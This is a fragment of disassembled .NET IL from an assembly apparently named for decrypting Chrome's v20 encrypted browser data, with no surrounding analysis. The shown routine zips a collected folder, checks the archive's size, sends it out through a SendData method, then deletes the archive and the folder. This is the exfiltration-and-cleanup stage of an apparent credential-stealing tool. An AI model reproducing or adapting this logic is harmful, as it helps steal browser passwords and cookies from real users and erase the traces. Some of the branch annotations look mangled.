call System.Boolean System.IO.Directory::Exists(System.String)
brfalse.s IL_0417: leave.s IL_0421
ldc.i4 500
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.s V_18
call System.String chrome_v20_decryption_CSharp.Program::ZipFolder(System.String)
stloc.s V_19
ldloc.s V_19
call System.Boolean System.String::IsNullOrEmpty(System.String)
brtrue.s IL_0409: nop
ldloc.s V_19
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0409: nop
ldloc.s V_19
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 50331648
conv.i8 <null>
stloc.s V_20
callvirt System.Int64 System.IO.FileInfo::get_Length()
ldloc.s V_20
pop <null>
pop <null>
ldloc.s V_19
call System.Void chrome_v20_decryption_CSharp.Program::SendData(System.String)
nop <null>
ldloc.s V_19
call System.Void System.IO.File::Delete(System.String)
leave.s IL_0409: nop
pop <null>
leave.s IL_0409: nop
nop <null>
ldloc.s V_18
ldc.i4.1 <null>
call System.Void System.IO.Directory::Delete(System.String,System.Boolean)
leave.s IL_0417: leave.s IL_0421
pop <null>
leave.s IL_0417: leave.s IL_0421
leave.s IL_0421: nop
callvirt System.Exception System.Exception::get_InnerException()
pop <null>
leave.s IL_0421: nop
nop <null>
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
leave.s IL_0431: leave.s IL_044C
pop <null>
leave.s IL_0431: leave.s IL_044C
leave.s IL_044C: ret
pop <null>
leave.s IL_044C: ret
nop <null>
call System.Void System.GC::Collect()
call System.Void System.GC::WaitForPendingFinalizers()
call System.Void System.GC::Collect()
leave.s IL_044B: endfinally
pop <null>
leave.s IL_044B: endfinally
endfinally <null>
ret <null>
|